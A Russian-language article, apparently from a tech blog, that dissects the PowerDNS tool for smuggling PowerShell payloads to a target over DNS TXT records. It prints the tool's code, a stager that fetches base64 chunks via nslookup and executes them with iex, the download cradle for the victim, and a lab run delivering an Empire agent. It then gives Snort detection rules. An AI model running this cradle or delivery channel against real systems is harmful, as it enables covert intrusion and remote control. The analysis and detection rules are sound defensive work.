![](https://habrastorage.org/web/015/878/384/01587838435e4967ad9d450016725cfc.jpg)
В данной статье мы поговорим о новом инструменте, позволяющем передавать Powershell скрипты на целевую машину внутри DNS пакетов с целью сокрытия трафика. Разберем, как работает PowerDNS и как защититься от подобных атак.
Разбор кода
Инструмент можно скачать на официальном GitHub.
После клонирования репозитория внутри вы найдете файл powerdns.py. Из этого скрипта, написанного на python, по сути, и состоит весь инструмент. Давайте разберем, что он делает.
Изучим раздел import
import scapy, sys
from scapy.all import *
import base64
import signal
import argparse
Сразу обращаем внимание на то, что PowerDSN использует scapy для работы с сетевыми пакетами.
Далее нам требуется задать интерфейс для прослушивания. Обратите внимание, что эту опцию нельзя задать через параметры командной строки.
INTERFACE = 'eth0'
chunks = []
domain = ''
Далее идут описания функций проверки корректности запуска — validate_args(), показ баннера из файла banner.txt — show_banner(), их мы разбирать не будем.
Следующая функция более интересна — base64_file(file).
def base64_file(file):
try:
with open(file, "rb") as powershell_file:
encoded_string = base64.b64encode(powershell_file.read())
return encoded_string
except:
print("\033[1;34m[*] PowerDNS:\033[0;0m Error opening file")
sys.exit(-1)
Она открывает файл, который мы передаем в параметрах при запуске и кодирует его содержимое в Base64.
Далее описывается функция get_chunks(file)
def get_chunks(file):
tmp_chunks = []
encoded_file = base64_file(file)
for i in range(0,len(encoded_file), 250):
tmp_chunks.append(encoded_file[i:i+250])
return tmp_chunks
Которая разбивает Base64 пейлоад, полученный с помощью функции base64_file на части по 250 символов.
Далее идет основная функция, выполняющая корректную отправку пейлоада внутри DNS пакетов — powerdnsHandler(data)
def powerdnsHandler(data):
if data.haslayer(DNS) and data.haslayer(DNSQR):
global chunks
ip = data.getlayer(IP)
udp = data.getlayer(UDP)
dns = data.getlayer(DNS)
dnsqr = data.getlayer(DNSQR)
print('\033[1;34m[*] PowerDNS:\033[0;0m Received DNS Query for %s from %s' % (dnsqr.qname, ip.src))
Если скрипт получает DNS пакет, то в консоли отображается строка вида «Received DNS Query for...»
if len(dnsqr.qname) !=0 and dnsqr.qtype == 16:
try:
response = chunks[int(dnsqr.qname.split('.')[0])]
except:
return
rdata=response
rcode=0
dn = domain
an = (None, DNSRR(rrname=dnsqr.qname, type='TXT', rdata=rdata, ttl=1))[rcode == 0]
ns = DNSRR(rrname=dnsqr.qname, type="NS", ttl=1, rdata="ns1."+dn)
forged = IP(id=ip.id, src=ip.dst, dst=ip.src) /UDP(sport=udp.dport, dport=udp.sport) / DNS(id=dns.id, qr=1, rd=1, ra=1, rcode=rcode, qd=dnsqr, an=an, ns=ns)
send(forged, verbose=0, iface=INTERFACE)
Если тип запрашиваемой записи TXT (см. Типы ресурсных записей DNS) то отправляется часть пейлоада (chunks[int(dnsqr.qname.split('.')[0])]) внутри DNS пакета, причем та часть, номер которой был в запросе dnsqr.qname.
Далее идет основное тело программы
try:
show_banner()
args = validate_args()
signal.signal(signal.SIGINT, signal_handler)
chunks = get_chunks(args.file)
domain = args.domain
Здесь проверяется корректность запуска и читаются значения параметров.
Затем мы видим интересную строку с переменной STAGER_CMD
STAGER_CMD = "for ($i=1;$i -le %s;$i++){$b64+=iex(nslookup -q=txt -timeout=3 $i'.%s')[-1]};iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64))))" % (str(len(chunks)), domain)
Это загрузчик powershell скрипта, который мы передали в параметрах запуска. Именно этот скрипт будет передан целевой машине первым. При выполнении этого скрипта, PowerShell будет циклически выполнять команды вида
nslookup -q=txt -timeout=3 0.domain.com
nslookup -q=txt -timeout=3 1.domain.com
nslookup -q=txt -timeout=3 2.domain.com
...
И таким образом получать пейлоад по частям, которые хранятся в переменной chunks.
Далее пользователю отображается, на сколько частей был разбит выбранный powershell скрипт. После этого на нулевой индекс в список вставляется Download Cradle скрипт STAGER_CMD.
print("\033[1;34m[*] PowerDNS:\033[0;0m Splitting %s in to %s chunk(s)" % (args.file, str(len(chunks))))
chunks.insert(0,STAGER_CMD)
Чтобы посмотреть на какие части был разбит наш скрипт, можно вставить после chunks.insert
for j in chunks:
print chunks.index(j)
print j
Пользователю будет отображена команда, которую нужно выполнить на целевой машине
print("\033[1;34m[*] PowerDNS:\033[0;0m Use the following download cradle:\n\033[1;34m[*] PowerDNS:\033[0;0m powershell \"powershell (nslookup -q=txt -timeout=5 0.%s)[-1]\"" % (domain))
Это команда вида
powershell "powershell (nslookup -q=txt -timeout=5 0.domain.com)[-1]"
Т.е. Powershell получит Download Cradle код через запрос TXT записи к 0.domain.com (STAGER_CMD хранится под нулевым индексом), выполнит его и запустит цикл получения основного скрипта в Base64. Мы используем [-1] так как нам нужно передать в PowerShell интерпретатор именно Download Cradle, а не имя DNS сервера и т.п. В вашем случае, возможно, придется использовать другую строку, чтобы передать в PowerShell правильную часть ответа от nslookup.
И последние строки кода запускают прослушивание DNS запросов на выбранном интерфейсе. При получении запроса, вызывается функция powerdnsHandler
while True:
mSniff = sniff(filter="udp dst port 53", iface=INTERFACE, prn=powerdnsHandler)
except Exception as e:
sys.exit(-1)
Если у Вас что-то не работает, я бы дополнил код, строкой print(e) перед sys.exit, чтобы видеть ошибки выполнения.
Практический пример
В качестве полезной нагрузки, т.е. основного powershell скрипта, я буду использловать Powershell Empire стейджер.
Создаю листнер
Генерирую код стейджера и помещаю его в файл payload.ps1
Я должен запустить powerdns.py на авторитативном DNS сервере, зону которого контролирую.
В моей тестовой инфраструктуре я использую домен sub.secret.lab. Запускаем на этой машине PowerDNS
python powerdns.py --file payload.ps1 --domain sub.secret.lab
Теперь я должен выполнить Download Cradle на удаленной машине
После выполнения powershell команды я начинаю видеть следующие записи в консоли PowerDNS
[*] PowerDNS: Use the following download cradle:
[*] PowerDNS: powershell "powershell (nslookup -q=txt -timeout=5 0.sub.secret.lab)[-1]"
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 0.sub.secret.lab. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 1.sub.secret.lab. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 2.sub.secret.lab. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.sub.secret.lab. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
...
Если запустить сниффер wireshark и изучить DNS пакеты, то мы увидим следующее
Запрос
И ответ (Download Cradle, который возвращается при запросе к 0.sub.secret.lab)
После получения последней части скрипта, видим сообщение в PowerShell Empire об успешном подключении агента
И, как видим, он рабочий
Защита
Для блокирования конкретно этого скрипта можно искать в DNS запросах сигнатуру Download Cradle-а, т.е. что-то похожее на
for ($i=1;$i -le 19;$i++){$b64+=iex(nslookup -q=txt -timeout=3 $i'.sub.secret.lab'
Правило для сетевой IPS Snort 2.X может выглядеть примерно так
drop udp any 53 <> any any (content: "| 7b 24 62 36 34 2b 3d 69 65 78 28 |"; msg:"PowerDNS Detected!"; sid:10000002; rev:001;)
Результат
Однако Download Cradle может быть более сложным и быть подвергнут обфускации, например при помощи Invoke-CradleCrafter. Тогда такое правило не сработает.
В этом случае можно обращать внимание на превышение порогового числа DNS запросов типа TXT, используя подобное правило
alert udp any any -> any 53 (msg:"High TXT requests - Potential DNS Tunneling"; content:"|00 00 10 00 01|"; offset:12; threshold: type threshold, track by_src, count 3, seconds 30; sid: 1000003; rev: 001;)
Результат
Нужно иметь в виду, что DNS туннели могут использовать не только тип записи TXT, поэтому данные примеры демонстрируют защиту конкретно от инструмента PowerDNS. Инструментов для создания DNS туннелей достаточно много, поэтому для эффективной защиты рекомендуется убедиться, что ваши правила защищают инфраструктуру от всех типов туннелей.